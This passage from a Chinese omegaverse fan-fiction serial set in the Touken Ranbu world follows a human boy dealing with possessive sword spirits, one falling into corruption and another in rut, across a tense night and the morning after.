一个满心满眼只有自己的omega在alpha的怀中,沾染上他的味道,甚至没有任何抗拒,眼中一瞬惊讶后还有些一闪而过的熟稔。 在后藤藤四郎不知道的时候,眼前的少年已经了解了他,默默朝他迈开了脚步。 他们不是陌生人吗? 可这个和神明的世界没有任何联系的少年却在全然陌生的情况下朝他靠近了。 “……” alpha的本能催动,那些被暗堕影响而诞生的骨刺明确地冲进视线。 后藤藤四郎感受到手背的温热,还有落在耳边的依旧从容温和的声音,他忽然笑了。 “现在的我肯定很丑陋,”后藤藤四郎视线凝实,“但还是想要请求大将能够给我一个拥抱。就像是……” 他的目光复杂,却在下一刻全然被红色遮掩。 付丧神声音平静,一字一句格外清晰: “就像是和药研那样。” 第44章 鹤见悠纪没有理这句话,因为后藤藤四郎已经低下了头。 很近。 真的很近。 近得他能看清对方有多少根睫毛,近得眼底沉淀的真实存在的红色素也完全明晰。 ……话说眼瞳和眼白部分不是一个红色呢。 这么紧张的情况下他又走神一瞬。 而后又被后藤藤四郎的动作拉回。 鹤见悠纪眨了眨眼,他突然发现,贴得太近了,自己反而并没有害怕。 而且,还有股熟悉的气息在远处,虽然不知道对方现在对他的态度要到什么程度才会来救他,但总归死不了。 死不了就怎么都无所谓了。 月光落在两个人的身上,就像将他们打包在一起,融成一个。 后藤藤四郎呼出的气格外滚烫,他的手挪动,落到鹤见悠纪的后背,感受到对方身体放松下来他突然用了点力,点在腰迹。 本就腰部敏感的少年想要躲避他的触碰,就中了计逃进他的怀里。 鹤见悠纪愣愣地被彻底抵住,等他反应过来的时候后藤藤四郎的手臂也已经跟随上来把他锁在原地。 这才是勾引啊…… 他有些感叹。 自己之前对药研藤四郎、信浓藤四郎还有厚藤四郎们所做的那些简直都是小儿科。 毕竟就算再怎么亲近,他也只是将他们的好感当做自己生存的工具,但要说有没有付出真情实感,肯定也是有的,毕竟假的心肯定也无法换回一颗真的心。 可是在后藤藤四郎这样仅仅因为几次接触就变得十分沸腾的模样,还是让他心惊。 鹤见悠纪无意让后藤藤四郎与自己靠近,他想要回家的目的已经到达了最后等待的阶段,不再需要像现在这样接近任何人。 可是,意外出现了。 后藤藤四郎就是这个意外。 付丧神的体温很高,而且不知为何,靠近自己的胸前没有生出骨刺。 付丧神的心跳很快,暗堕的气息其实是冰冷的,可是这家伙的温暖怀抱还有周边若有若无滚烫至极的alpha信息素已经让他感受不到这份冰冷了。 就像……那个只有他们两人时自己主动握住的那只手一样。 是一样的温度。 炽热,无法忽视。 谁会拒绝一颗炽热的心? 鹤见悠纪会。 他现在可是鹤见·一心回家·悠纪! 他已经变成冷血动物了。 不过…… “后藤。” 鹤见悠纪的声音闷闷的,他在抗议。 他们离得太近了,他有点呼吸不过来。 具体有多近?鹤见悠纪感觉自己的声音几乎能通过后藤藤四郎的骨头进行骨传导。 可恶的知识在不合时宜的时候入侵大脑了。 毕竟他抬手就能摸索到后藤藤四郎肩膀上的骨刺,看起来很锋利,却并不让他害怕。 或许是因为他本就知道这些刀剑付丧神是暗堕付丧神,甚至还有些为了他们的暗堕方式和自己所知道的那些可能性一致而安心。 后藤藤四郎听见声音低头,嘴唇轻轻落在了他的头顶。 鹤见悠纪没有察觉。 这或许只是一个意外。 一触即分。 两个人拥抱着,后藤藤四郎没有等来后半句,他慢一拍地反应过来鹤见悠纪只是想叫他。 自己的名字原来这么好听。 但是视线模糊后过于安静的环境他有点不太喜欢,于是他主动开口了:“十分钟之后,如果我没有主动放开你,你就跑。” 很认真的在建议。 真的能跑掉?后藤藤四郎对他的力量是否过于高看了。 鹤见悠纪抬头,他看着后藤藤四郎的眼睛,没有聚焦,两人的视线对不上。 但不论是正常的他还是现在的他对于鹤见悠纪来说都很陌生。 鹤见悠纪戳了戳他,示意自己听见了。 知道他在听,后藤藤四郎又继续道:“跑去找药研,如果没有跑动,就大声喊他。” “那你会怎么样?” 鹤见悠纪顺着问。 后藤藤四郎笑了一下,像是意料之中:“我会回归最初的样子。” “你应该不会为我伤心吧?” 后藤藤四郎说完又自己摇头,不想让莫名其妙承受自己祈求的少年难堪。 他的语气很痛苦,偏偏掺杂着几分微不可察的庆幸:“我们一点也不熟,这样就算再也见不到我了你也不会难受。 是啊,我们不熟,幸好……” 后藤藤四郎没再说下去,他用力维持体面。 幸好他被剥夺了一半的时间。 后半句几乎消失,顶着鹤见悠纪疑惑的目光,他握住他的肩膀,看不清也执着地两人平视:“所以在这之前,就我们两个人,待在一起,好不好?” 声音平静,鹤见悠纪看着那双眼睛,他看见了越来越深的红色,他看见了逐渐消失的理智,他也看见了无奈的祈求。 可恶的。 这个坏刀子。 说得那么可怜做什么……鹤见悠纪感觉自己为了回家练出来的铁石心肠要碎了。 仗着对方看不清,他撇了撇嘴。 最后鹤见悠纪还是没让后藤藤四郎等太久,他叹了口气,眉间微弯,对着满身骨刺的怪物,点了点头: “好啊。” 谁会拒绝一颗炽热的心? 不知道,至少此刻的鹤见悠纪不会。 后藤藤四郎很开心,他的眼睛亮了起来,像是收到意料之中的生日礼物一样。 付丧神有生日吗?他不知道,但是后藤藤四郎的模样就是如此。 纯粹的开心,仅仅是因为他的两个字。 这也太容易满足了。 鹤见悠纪突然反应过来,自己好像来到这里之后接触到的最多的就是这样简单而又直白的情绪了。 不论是看起来态度冷硬,然而不论动作还是话语都十分心软的药研藤四郎,还是瞧着没有情感却将柔软美丽花环撇了尖刺戴在自己头上的厚藤四郎…… 他们都是这样清晰明了地将自己的好意展现在他的面前。 但现在的后藤藤四郎呢,在将自己脆弱的一面暴露在自己的面前的时候,又在想什么呢? 只是想要再靠近一点,只是想要套一个拥抱,只是想要像现在这样互相沾染彼此的味道……仅此而已吗? 鹤见悠纪不知道答案,但他也没必要知道答案。 他被浑身气息危险,眼中冒着红光,似乎要完全失去理智的非人类抱在怀里。 眼前的身体逐渐冷却,变得苍白又冰冷,后藤藤四郎似乎已经开始脱离活物的范围。 被鹤见悠纪抗议后,两人之间的距离变得很是礼貌,唯一亲昵的只有头顶落下来的重量。 后藤藤四郎对自己的情感从何而来他尚且不去纠结,这份情感又会为他带来什么什么好处,还是危险,他也不去探究。 毕竟能跑的没必要跑,不能跑的也跑不了。 他很弱。 弱小的鹤见悠纪是不会和强大的付丧神硬碰硬的。 他只是一个想要回家的弱小的无能的人类。 虽然这么想着,但是面对危险的情景没有抗拒也没有反抗的鹤见悠纪只是静静坐在原地,在心中默数时间。 十分钟,只有十分钟的时间! 后藤藤四郎自己说的。 那十分钟后他就会猛猛推开眼前的付丧神,而后去寻找安全的地方。 就算是多了一丝丝的恻隐之心,也不能让他把命交代在这里。 毕竟他是想要回家的,如果命都丢了,回家还有什么用。 他可没打算因为自己的心软客死他乡,更何况后藤藤四郎想必也不愿意自己死在他的手上。 空气中,alpha和omega的信息素持续纠缠,密不可分的现象越来越清晰。 鹤见悠纪仿佛能听见对方的心跳声,而后在心中读秒的最后一刻用力的推开后藤藤四郎的身体。 然而意料之中,本就落在他身上的手臂一瞬间将他死死的固定在原地。 后藤藤四郎的眼睛彻底变成了红色,身上的骨刺也几乎将他覆盖完全,他好像成为了时间溯行军那样的生物,至少从外表看起来是的。 只有被骨刺覆盖的外形,只有某种特定的欲望。 若是不完成自己的目的,怪物和怪物的同伴将会一直一直重复自己的行动,就算最后的结果是失去生命,再也无法动弹,也绝不会放弃。 “后藤?”鹤见悠纪最后试探性喊了一声。 没有回应。 可是身上的手指力气微弱的变化让鹤见悠纪知道他不是真的没有反应。 后藤藤四郎还能听见自己的声音,只不过不再像之前那样理智,只遵从本能,就好像被这些从身体上生长出来的骨刺完全寄生了一样。 ……这就是神明的暗堕吗? 鹤见悠纪眨了眨眼,但就算到了这种地步,拥抱住他的胸膛处也没有生长处尖锐的骨刺。 除了拥抱的力道有些过分,让脆弱的皮肉会变得泛红以外,他连一点刺痛都感受不到。 失去理智,不再像平常一样清醒理智,却依旧不会伤害无辜的人类…… 后藤藤四郎,还没有暗堕。 鹤见悠纪这样认为。 下一秒,一双熟悉的手将被后藤藤四郎怀抱中的鹤见悠纪拉了出来,那长出丑陋诡异骨刺的双手不满地想要把喜欢的味道抓回来。 鹤见悠纪混乱间只认出熟悉的锐利刀锋一闪而过,后藤藤四郎已经完全神志不清,被攻击与占有欲掌控全身的暗堕付丧神嘶吼着躲避。 那双疯狂的眼睛中竟露出几分不甘的情绪,他的手臂被短刀划出血痕,然而下一刻,那些伤痕便完全治愈了,就好像没有出现过一样。 鹤见悠纪身后传来熟悉的气息,属于后藤藤四郎的桂花味被冲散,熟悉的带着些酸味的甜丝丝信息素在他身上全然覆盖。 意料之中,把他救出来的是药研藤四郎。 这个这些日子一直在自己身边待着的家伙,怎么可能偏偏今晚不在。 鹤见悠纪握住药研藤四郎垂落在身侧的手,熟悉的感觉让警惕盯着暗堕后兄弟的药研藤四郎微不可察的一阵,但就是这一瞬间的放松,那只柔软的手就得寸进尺,与他紧紧地握在了一起。 鹤见悠纪深呼吸,感觉周边的疯狂往他身上蹭的信息素都快气死了,耐心主动安抚信息素躁动的alpha后坚定地将药研藤四郎护至身前。 鹤见悠纪确定安全,他一只手落在药研藤四郎的肩膀上,小心翼翼的探出脑袋,凑在付丧神的耳边,轻声问着:“后藤他还好吗?现在的样子还有没有办法救救?” 虽然一直都知道暗堕还有诅咒什么的,可是具体的知识他了解的也不多好。 此刻后藤藤四郎给他的感觉并不坏,如果可以的话、如果有机会能够恢复的话,那还是……思绪一顿,不过他什么都做不到,也就只能口头先问问了。 后藤藤四郎如果就这样死掉了的话,鹤见悠纪眨了眨眼,对方好歹也是护着过自己的,有后藤藤四郎在的话,他的安心感都可以多几分。 鹤见悠纪心里有想法,全身被骨刺包裹的怪物形态让他无比不确定,问话也是忐忑不安。 “能救,别怕。” 药研藤四郎还是第一次应对这种场景,前方敌人,后方大将,他的耳尖微微红了,却还是跟着脖子面色如常的回答鹤见悠纪的话。 药研藤四郎:“你躲在我身后就好。” 他很满意!鹤见悠纪主动躲到他的身后,就好像很依赖他一样。 鹤见悠纪挺简单的嘛,眨了眨眼睛,看起来药研藤四郎对自己很自信,所以……后藤藤四郎今晚过来就是为了赚他的心软的吗?毕竟还是可以解除暗堕,那么来这里来他这里一脸痛苦,甚至让他以为要来一场生离死别什么的……鹤见悠纪心中的那一抹淡淡的忧伤又散去了。 就连眼前看起来镇定实则红冒烟的药研藤四郎在他眼里也像写了一个带着坏心思的别扭小孩。 毕竟药研藤四郎外表看起来确实比他的年龄还要小,至于真实的年龄……谁现在在外面还会报自己真实的年龄啊,出门的身份都是自己给的。 鹤见悠纪劝着自己,一边默默观察,两个人已经打起来了,只是没有波及到他这里。 药研藤四郎那副用力的架势似乎是要狠狠打一场,既然如此自己手无缚鸡之力的就不要留在这里帮倒忙了。 今天实在过的太过刺激。 不论是突然向自己冲来的后藤藤四郎,还是像鬼一样一直在身边守着的药研藤四郎,都让本应该平静等待回家的倒计时变得波折起来。 但鹤见悠纪会想办法让事情回到原来的轨道,就算他很弱。 观察打得火热的两人,他缓慢的向后退去,这次暂时住下的房间不只有门能让他跑出去,就连窗户也有好几个,比如站在他身后就存在一个。 窗户不算高,他稍稍使点力,便爬着翻过去,有点意外,就算是他小胳膊小腿的,平常不怎么锻炼的样子竟也非常丝滑地出来了。 察觉到鹤见悠纪离开了自己的视线空间中。 离开=消失。 不可以! 心中的恐慌越来越强难过,让他喜欢的存在在主动远离他,在抛弃他。 不可以! 后藤藤四郎想要和鹤见悠纪永远在一起,就算是眼前和自己有什么联系的存在想要阻止他……付丧神视线混乱,他皱眉,这个拿着刀和自己战斗的家伙,真是越看越不顺眼! 药研藤四郎知道暗堕付丧神脑子里是什么想法,更何况像鹤见悠纪这样灵力强大的人类在暗堕付丧神的眼里本就是极为充足的养料。 今晚若不是自己一直待在周围,时刻盯着,后藤藤四郎被剥夺理智后谁能保证他会安稳地离开,要是让他得逞了的话,等明天药研藤四郎看见的便就是尸骨无存只剩下薄弱气息的鹤见悠纪了。 今天能够忍到这种程度,也不过是因为鹤见悠纪一脸顺从、没有任何反抗的动作才让他按耐下了心中的不安。 要是对他亲爱的大将动手的话,作为忠诚之刃的他,就算是兄弟也绝对不会手下留情。 他是刀剑,他会守护自己的大将。 药研藤四郎把猛地向他身后不管不顾冲出去的后藤藤四郎抓了回来。 若是做不到的话,就算是死,他也会从地狱里爬起来。 鹤见悠纪全身紧绷着,从房间里逃出来,才终于远离了身后刀剑触碰的锐利的身影。 他刚松了口气,准备找个安全的地方继续休息,信浓藤四郎突然出现在他的面前。 红色的付丧神脸上带着如往常一样的笑容,就好像早已在此处等待他一样,看见鹤见悠纪的身影没有露出分毫意外。 他向他伸出手:“累了吧,大将,和我一起去休息吧。” 鹤见悠纪紧绷的神经刚松开,他没察觉到异样。 他松了口气,毫无防备的靠近信浓藤四郎,他触碰那只手,还未曾用力就被紧紧十指相扣。 唉,今天这么热情吗? 只不过是几天没见面而已。 他有些好笑地看了过去,在对上alpha有些暗的眼睛时,他突然反应过来什么。 话说,周边的alpha信息素是不是太浓郁了点? “——” 鹤见悠纪身体僵了一瞬。 信浓藤四郎怎么带着满身暴动的信息素在他面前,而且刚刚还一脸正常收敛的身边的信息素骗他过来。 这么些天过去了,按理来说,alpha的易感期应该已经结束了,再说,药研藤四郎在自己在他身边,还剩下厚藤四郎看着信浓藤四郎才对。 厚藤四郎和自己有着契约,他也绝对不会放任对自己有危害的人待在自己的身边的,所以信浓藤四郎这家伙究竟做了什么? 鹤见悠纪满身疑惑,但是自己的手被对方狠狠的扣住,那力度不大,轻轻试探便就知道是他无法挣脱的。 身后的药研藤四郎要制止后藤藤四郎的暗堕抽不出手来,厚藤四郎现在不知道是什么情况。 生涩的灵力掌控让他无法像熟练的审神者那样掌控被契约的付丧神的一切信息,现在他只能被动的当做什么都没有发现一样,笑着看向心动的事呢,声音如常的回应:“好啊。” 他主动向前走去,有些好奇的左看右看:“你还是住在之前的房间吧?” 他说的是自己和药研藤四郎谈话时站在门口的那个房间,之前那次混乱的时间溯行军的入侵让完整的可以直接用作住宿的房间数量骤减。 信浓藤四郎闻言温和的点了点头:“是的,那里很宽敞也很干净。大家都有些事要忙,所以今晚上就只能委屈你和我睡觉了。” 鹤见悠纪移开眼神:“……好、好啊。” 付丧神看着少年在自己身边紧张的样子有些悲哀。 鹤见悠纪似乎和谁都亲密的接触过。 和药研藤四郎睡在一起,和厚藤四郎之间存在契约,就连刚刚的后藤藤四郎也是,明明比起自己和鹤见悠纪之间的相处时间明明少了那么多,却也能和对方亲密的拥抱。 就算变成浑身骨刺、丑陋不堪的样子也能被前面抱在自己的怀中,可是他呢,他和鹤见悠纪之间究竟又有什么关系,什么关系都没有,他不甘心…… 明明当初主动跑到自己的面前露出脆弱向他求助的是鹤见悠纪啊,现在怎么能够抛下他一个人投向别人的怀抱。 眼前的omega不是属于他的,可他身上没有任何人的标记,没有被信息素沾染,所以他还有机会。 他还没有离开,他能够成为那把陪葬的刀。 鹤见悠纪并不清楚易感期的alpha心里的想法,他看着信浓藤四郎没有再想□□的动作都样子不由得松了口气。 只是这样的话就好,毕竟和人睡在一起什么的,自己已经很熟练了。 就算身边换了个人也没什么不一样的,作为一个高中生,他当然点亮了和别人一起生活的这个技能。 现在就算是在他旁边躺个尸体或者浑身血会朝自己放杀气的人,他想他都能睡得非常安稳。 毕竟。 药研藤四郎那家伙在自己身边的时候,虽然看起来很温和,但本质上也是擅长杀戮的刀剑。 那段同居的日子,他卸下了和时间溯行军战斗的职责,只负责在他身边等待自己随时可能出现的对标记自己的alpha出现的依赖现象。 只不过……白天可靠的的药研藤四郎却是个很容易做噩梦的性子,做了噩梦之后,便需要向周边寻求安全感,作为唯一的温暖存在自然就成为了首选的目标。 很少,但那样脆弱的药研藤四郎确实存在。 不知道自己是怎么适应的,只不过现在也算得到了一个不知道是好是坏的技能。 那信浓藤四郎呢?他也会做噩梦吗,就像药研藤四郎那样。 和信浓藤四郎躺在床上的时候,鹤见悠纪还在若有若无的想着这件值得探讨的事情。 第45章 本来应该平静的夜晚,变得不平静了。 鹤见悠纪觉得自己现在应该战战兢兢,或者怎么也得感到不安才对,可是现在心中完全没有反应,就连之前无聊在脑子里蹦哒的关于噩梦的问题也都消失了。 那正好。 他换了个舒服的姿势,闭上眼睛就要睡觉。 再加上信浓藤四郎在身边,不管这家伙现在的状态到底是正常还是不正常,总而言之,看起来不像是后藤藤四郎那样一定会对自己发出攻击的状态。 所以……没啥大事,先睡觉吧! 鹤见悠纪侧过身子,扯了扯被子,保证自己脖子以下全都被被子包裹了才安心的开始酝酿睡意。 然而,少年平静的状态让alpha的情绪在满足和不满在两个极端之间开始了跳跃,因为鹤见悠纪已经没有任何抗拒的样子而感到开心,又因为明明他都已经表现出这么多的破绽了鹤见悠纪却没有任何反应,就好像自己的根本不重要一样而很不开心。 omega应该很在意他才对,怎么可以把他放在一起自己睡觉,甚至连最基础的牵手也没有,alpha越想越委屈。 信浓藤四郎看着鹤见悠纪面相自己蜷缩起来,整个脑袋露在外面,头发有些不太乖巧的部分叛逆地翘起,但是整个黑发也软乎乎的,就连逐渐平稳的呼吸都显得十分可爱。 他偷偷丈量起两人之间的距离,结果显而易见的让他更加不满足了。 他已经很难受了,中间这留出的快要一厘米的距离是为了什么?难道是想要两个人中间再插入一个人吗?! 不满的alpha就像是没要到糖的小孩子一样,连两人之间一厘米的距离也要榨干,他的手指偷偷摸摸钻了过去,将那一厘米的距离完全压过,而后又只是纯情至极地轻轻搭在omega的手指上。 或许是感受到两人的气息又交融在一起,他满足地深深呼吸了一口气。 信浓藤四郎的视线落在鹤见悠纪的脸上,他看起来认真极了,似乎将少年所有的面容细节都记在心里。 然而过于强烈的视线以及各种偷偷摸摸细碎不停的动作终究是让困倦不已的鹤见悠纪感到不耐烦了。 他猛地睁开眼睛,愤怒地看着信浓藤四郎,声音也冷冷的:“不想睡觉就自己睡去。” 这家伙没有像药研藤四郎那样会做噩梦是挺好,但是这样在别人想睡觉的时候小动作不断的坏习惯……他刚刚本就因为应对后藤藤四郎已然耗尽的耐心,在此实在是一点也榨不出来了。 理智-10086 愤怒+10086 简直堪比被叫醒重睡。 鹤见悠纪卸去了温柔和可怜,满脑子都是不爽。 信浓藤四郎听着他冰冷的话语没有反应,愣愣地僵着脑袋,愣愣地看着他。 鹤见悠纪皱眉,不满:“怎么?不服吗?” 少年简直就像炸了猫又呲牙的小猫一样。 ……太可爱了。 信浓藤四郎突然抬手捂住嘴,猛地坐了起来,撇过脑袋不敢看他,耳尖已经完全爆红了。 身后的鹤见悠纪看他突然的动作更加不爽了。 他不想离开温暖的被子,便只伸出一只手,使劲的扒拉信浓藤四郎:“不要突然坐起来,冷空气都进来了,好冷。” “对、对不起!” 信浓藤四郎连忙一边道着歉一边用另一只手将被撑开的被子空气重新压实。 他努力平稳自己紊乱的呼吸,悄悄回头看着鹤见悠纪还带着点困意的眼睛又有点羞涩得移开视线,嘴巴里含糊的说着:“你生气的样子,实在是、实在是太……” “实在是什么?” 鹤见悠纪刚刚被冷空气一冻,现在也脑子都完全清醒了。 刚刚生起的愤怒被压下,他扯过一边的衣服披在身上,也坐了起来。 鹤见悠纪叹了口气,撑着脸颊:“实在不想睡的话,我们聊聊吧,但是不能聊太久。” 彻夜长谈什么的他实在是没兴趣。 omega的信息素又变得浓郁起来了,鹤见悠纪也无意识向信浓藤四郎更靠近了些。 “聊?好啊,我们聊天。”信浓藤四郎眨了眨眼睛,他放下遮住嘴角的手,两只眼睛一闪一闪的,看起来很是期待,“悠纪想要聊些什么呢?” 鹤见悠纪一顿,刚准备好的问题就这样堵在了喉咙里,他有些惊奇地看着眼前的付丧神:“……你为什么会知道我的名字?” 除了药研藤四郎他好像没有和谁做过自我介绍。 自从药研藤四郎向他诉说了一些信息之后,他就开始有意识的避免真名被更多的人知道。 他不知道所谓的知道真名有可能会被神隐的事情是真是假,或许只是流传于现实的传说或者段子,但是在现在神明真正出现在自己眼前的时候,他有缓慢的升起了警惕之心。 然而现在,眼前的家伙毫无征兆地叫出了自己的名字。 啧。 “知道在意的人的名字,难道不是变亲近的第一步吗?”信浓藤四郎没有直接回答他的问题,反而笑着这么说的。 “……” 鹤见悠纪沉默了,算了,他也懒得去纠结。 反正这些刀剑的关系是兄弟,无论是他们从药研藤四郎里得知的还是用了什么其他的手段,总而言之,自己现在也不可能将自己名字的记忆直接从他们大脑里抹去。 鹤见悠纪:“你的易感期结束了吗?” 很生硬的转移话题,但信浓藤四郎没有在意,反而顺着他的话语摇了摇头:“没有,我想要见你,总是被困在见不到你的地方,我会很难受的。” “只不过是易感期而已,区区生理冲动怎么可能阻止我做自己想要做的的事情,如果只是生理冲动就能覆盖过我对你的在意的话,那我的在意重量,可实在是轻的可怕。” 信浓藤四郎摇了摇头,窗外的月光落在他的身上,将付丧神的笑容衬得干净又热烈。 忽然,他伸出手握住鹤见悠纪抓着外套衣领的那只手,声音担忧:“冰冰的,要不还是躺着说话吧,要是不小心感冒了就不好了,生病很难受的。” 人类的身体实在是太过脆弱了,就算是正常的成长轨迹都不一定能够活过百年。 他渴望主人在有限的时间里能够延长生命。 如果可以的话,他甚至希望眼前的少年能够在自己逝去之后再逝去,这大概就是是有了在意的人之后最大的私心了吧。 自己总有一天会因为暗堕而死去,后藤藤四郎的暗堕已经提前了许多…… 不,不用想的太远。 不过区区百年而已,这点时间对于人类来说足够漫长,只要能够说动眼前的鹤见悠纪也带上自己,那么未来在对方的陪葬品中也出现自己的身影。 虽然他没什么做陪葬品的经验,但是说不定他也能做到呢。 护身的短刀不论是在生前还是在地狱里,都会一直跟随着自己的主人伴随其左右,保护对方的安全。 信浓藤四郎很是担忧。 他弱小的主人在失去生命后,灵魂进到地狱里,如果没有了他们,那些可恶的东西进到主人的面前,怕是要将他吓到了。 鹤见悠纪看着付丧神突然伤感起来的眼神,虽然不知道这家伙究竟在脑子里想些什么东西,但肯定没想什么好事。 他拍开他的手,滋溜一下重新钻进被子里,没好气的说道:“如果不是因为你我现在早就盖着暖和的被子进入温暖的梦乡了。真是的,要是担心我感冒的话,就不要突然在我睡觉的时候打扰我。” 有起床气的人类,可是很可怕的。 信浓藤四郎听懂了,他乖巧点头,声音也充满活力:“我知道啦,下次一定不会了,如果困了的话就睡觉吧,我绝对不会再打扰你了……” “在说这样的话,之前先把你的手收回去。”鹤见悠纪打断他,他面无表情地再次睁开眼睛,盯着那只不规矩地再次摸到自己肩膀周围的手。 “我不做些什么,只是贴在一起也不可以吗?” “不·可·以。” 鹤见悠纪十分严肃地拒绝,并且将他的可怜兮兮表情反弹回去。 看着付丧神还是十分不开心的表情,他叹了口气,动之以情,晓之以理:“我一个omega都愿意和你这个易感期的alpha睡在一张床上了,难道还不够在意你吗?” 易感期的alpha实在是说疯就疯,在任何时候都可能突然把身边的omega按在身下,将其彻底的标记。 然而柔弱的omega或许是因为基因或许是因为社会,本身也没有的力量,最后只能被动接受标记,被动染上他人的气息。 接下来的一辈子,都不可能再摆脱alpha的信息素。 信浓藤四郎听着他的话,突然僵在原地,他听出了未尽之言,却没有想象中被信任的幸福,只有不安。 “我不是那种会失去理智像野兽一样的家伙,我不会做那种事情的。” 他不希望自己在意的鹤见悠纪,像那样看待自己。 他也不会做出那种事情。 “谁知道呢?”鹤见悠纪实在是困得不行了,一被子捂住脑袋,声音也闷闷的,“快睡觉吧,再不睡天都要亮了。” 这里听不到自己房间那边的打斗声,分明是绝佳的休息场所,这个家伙偏要在这里叽叽歪歪,跟他玩醒来重睡和狡辩本能的把戏,他实在是很没有心情去安抚这家伙。 熟悉的波动通过契约传了过来,鹤见悠纪翻了个身,他打了个哈欠,眼角都弥漫出一阵湿润。 就这样背对着信浓藤四郎,他重新陷入了睡眠。 不再去顾及alpha愈加不爽的气息。 如果忍不住的话,信浓藤四郎的在意也不过如此。 而且现在,他的保证也已经就位了,自己没必要再继续冷静。 最后卷了卷被子,他把脑袋捂起来。 晚安,厚。 第46章 天亮了,鹤见悠纪揉着眼睛起身……没起来。 鹤见悠纪:“……” 看他说什么来着,被当做人形抱枕死死抱住了。 信浓藤四郎虽然没做噩梦但或许是因为易感期的存在,最终还是凑了过来。 鹤见悠纪毫不留情把身上章鱼触须一样的四肢扒拉开,细细感受一番后还抬手摸了摸后颈,不疼,也没有牙印之类的凹陷,幸好,他还没有睡死到被人啃了也不知道的程度。 他松了口气。 安心。 一番折腾下来信浓藤四郎也醒了,或许这家伙本来就没睡,鹤见悠纪瞧着他眼底的灰青以及如常的笑容无奈地揉了揉太阳穴。 易感期的alpha果然就算表现的再正常,骨子里也是有点变态的,不然哪个正常人会一晚上不睡觉,就守着看别人。 而且什么都不做。 明明早上是醒着的,还偏要装作睡着了缠到他的身上来,当他自己看过去的时候,又装作若无其事地朝他笑什么的…… 鹤见悠纪不理解,也不想尊重,但是表现出理解又尊重的态度也不是什么难事。 他无奈的揉了揉太阳穴。 “睡吧。” 鹤见悠纪重新闭上眼睛,抓着人的手盖在自己的身上,另一只手也同样环绕过去,将人揽在自己的怀里。 像是哄小孩子一样,拍了拍信浓藤四郎的背部,声音轻轻的:“睡觉吧,赶紧睡觉。” 信浓藤四郎迷茫了。 鹤见悠纪这样子明显是已经睡够了的,这会儿怎么突然拉着他一起睡觉? 幸好易感期没有打死他的脑子,信浓藤四郎疑惑一瞬便反应过来了鹤见悠纪的意思,心中不经有些心不甜滋滋的。 他闭了嘴没说话,陪着闭上眼睛感受着这一刻的温暖,乖巧入眠。 虽然一点都不困,但是在自己的催眠下鹤见悠纪还是再一次进入了睡眠状态。 但也或许也因为本就是刚醒又睡的,这段睡眠很短暂。 当他睁开眼时,也不过才过去了半个小时。 盖在他身上的信浓藤四郎这一次却是真的睡着了,呼吸平静缓慢,眉间舒展,若不是空气里蠢蠢欲动的alpha信息素,还真是一点看不出这家伙在易感期。 他轻轻地从付丧神的怀中把自己剥离出来,又轻手轻脚的踏出门口,在门外转角处,他抬头,果然找到了熟悉的身影。 是厚藤四郎正站在那里。 鹤见悠纪见他出现在自己面前便伸手抓着付丧神向别的地方走去。转了几个弯,走到一个没人的地方。 看厚藤四郎身上的样子,看起来并不像是遭了暗算?究竟是因为什么才信浓藤四郎放了过来,鹤见悠纪虽然想知道,但现在那不重要。 他有事情想问对方。 “昨晚发生了什么,他为什么会突然到这里来?” 鹤见悠纪找到一张看起来比较干净的椅子,他坐下,手指敲了敲桌子,若有所思:“你看起来也不像是打不过他的样子,所以……” 他重复到: “你的身上,发生了什么事情,可以告诉我吗?” 厚藤四郎抿了抿唇:“是的,但不用在意,我会保护好你的。” “保护?”鹤见悠纪皱眉,“昨夜你就没有保护我。” 虽然知道这家伙在外面,但是对契约并不算熟悉的他并不知道厚藤四郎在外面呆了多久,如果这家伙只是在最后他感应到的时候来了的话,哪来的安全可言和来保护之说? 果然,男人的嘴骗人的鬼。 面对战神者的控诉,厚藤四郎却是露出一副迷茫的神情,他静静的靠近两步:“……我以为你很喜欢他,所以。” 莫名委屈。 因为他以为鹤见悠纪喜欢自己的兄弟,所以他才没有出面打断,虽然有点不太理解大将作为omega为何敢毫无防备贴近,甚至睡在一起,但他还是选择了尊重他的意愿。 “我才没有喜欢”,鹤见悠纪的反应很大,仿佛被厚藤四郎这个唯一的刀说自己喜欢另一把刀是多么罪恶的事情,眼中却暗暗闪过一丝思量,“如果我喜欢他的话,我怎么会只和你建立契约呢?我最喜欢的是你,我也只喜欢你,所以如果下次这样的话,让我离开他的身边好吗?我对契约并不熟悉,我无法知道你是否在我身边。但是只要你在身边的话,我会安心很多的,我就再也不会害怕了。” 少年因为被误会眼角的露出几分泪水来,他伸出手抓着付丧神,却也只抓住小小一片衣角,手指用力几乎泛白,就连指节间都隐约感到咔咔作响。 那随着契约传递过来的急切心情清晰传递了厚藤四郎的心中,他怔怔的看着眼前的少年,眼角泛红,眼中满是祈求与希望。 只有自己的审神者,只能依靠他人的境地下,作为唯一依靠的自己却辜负了对方的信任,连大将的意思都没能正确猜测,让对方在心悸不安中过了一整夜。 他如此罪恶,让脆弱无辜无助的少年在恐惧中战战兢兢,此刻眼底都还带着青色。 “抱歉。” 苍白无力的音节从口中吐出,厚藤四郎很久没有感受到情感的波动了,他迷茫又难受地将人抱进自己怀中,轻轻地拍了拍鹤见悠纪,“对不起,下次一定不会了……对不起,靠近你的危险都应该被斩除,我会杀了他们。” 在那么多的选择当中,选择了自己。 明明自己不是最好的选择,但仅仅是因为一点点的示好就被偏爱了。 而在现在,自己得到了这份偏爱,没能得反馈相应的报酬,他选择了自己并信任着自己的……在他感知到的这份情绪之后,鹤见悠纪还埋藏着多么浓厚的失望。 厚藤四郎十分清晰人类的脆弱,他们不像刀剑付丧神一样拥有强健的体魄,不像刀剑附上身一样已经习惯了受伤,生长在合平年代的人类遇见血与争斗都是极其遥远的。 然而在现在,在对方被迫进入这样环境的现在,自己作为被定下契约的唯一有着联系的刀剑付丧神却没有尽到保护的义务。 是他的错。 “我没让你杀了他们,只是保证我的安全就好。”鹤见悠纪惊讶于他产生的过激想法,立刻按下他危险的想法。 自己只是想示个弱,让对方更加重视,顺便再加深一下对方在自己心中很重要的这个印象。 厚藤四郎解决问题的第一反应竟然是杀了制造问题的人,可是这次引起问题的对象……鹤见悠纪皱眉,面上却不安地确定:“即使他们是你的兄弟吗?” 厚藤四郎看着他单纯的表情,还有话语中仍旧带着宽容与仁慈的意味。 他面无表情:“当然。” 鹤见悠纪确定了,这真的不对劲。 他若有所思,选择转移话题: “信浓藤四郎的易感期能结束吗?什么感觉比平常的都要长?” 鹤见悠纪盯着厚藤四郎,试图将他的每一丝变化都纳入眼底。 “因为他的情绪很剧烈,所以一时没有控制住,请放心,接下来我会处理好的。” 说谎…… 